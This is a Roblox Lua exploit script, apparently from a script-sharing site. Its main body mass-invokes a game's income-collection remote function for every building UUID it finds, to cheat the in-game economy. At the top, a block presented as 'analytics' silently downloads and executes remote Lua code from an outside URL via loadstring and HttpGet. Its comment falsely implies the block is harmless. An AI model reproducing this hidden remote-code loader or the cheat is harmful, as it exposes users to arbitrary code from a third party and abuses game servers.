--[[rscripts:analytics:start]] -- Script analytics (enabled by the creator on rscripts.net). -- Runs in its own thread and cannot affect the script below. task.spawn(function() pcall(function() loadstring(game:HttpGet("https://rscripts.net/api/telemetry/v2/client.lua?s=6a2edd127b874a5dd6305e15"))() end) end) --[[rscripts:analytics:end]] local ReplicatedStorage = game:GetService("ReplicatedStorage") local CollectIncomeRF = ReplicatedStorage:WaitForChild("Src") :WaitForChild("Packages") :WaitForChild(".pesde") :WaitForChild("sleitnick_knit@1.7.0") :WaitForChild("knit") :WaitForChild("Services") :WaitForChild("KingdomService") :WaitForChild("RF") :WaitForChild("CollectBuildingIncome") local function isUUID(str) if type(str) ~= "string" then return false end return string.match(str, "^%x%x%x%x%x%x%x%x%-%x%x%x%x%-%x%x%x%x%-%x%x%x%x%-%x%x%x%x%x%x%x%x%x%x%x%x$") ~= nil end local function CollectInstantly() local foundUUIDs = {} for _, obj in ipairs(workspace:GetDescendants()) do if obj:IsA("Model") or obj:IsA("Folder") then local uuid = nil if isUUID(obj.Name) then uuid = obj.Name else local attr = obj:GetAttribute("UUID") or obj:GetAttribute("Id") or obj:GetAttribute("BuildingId") if isUUID(attr) then uuid = attr end end if uuid and not foundUUIDs[uuid] then foundUUIDs[uuid] = true end end end -- Send all requests simultaneously for uuid in pairs(foundUUIDs) do task.spawn(function() pcall(function() CollectIncomeRF:InvokeServer(uuid) end) end) end end CollectInstantly()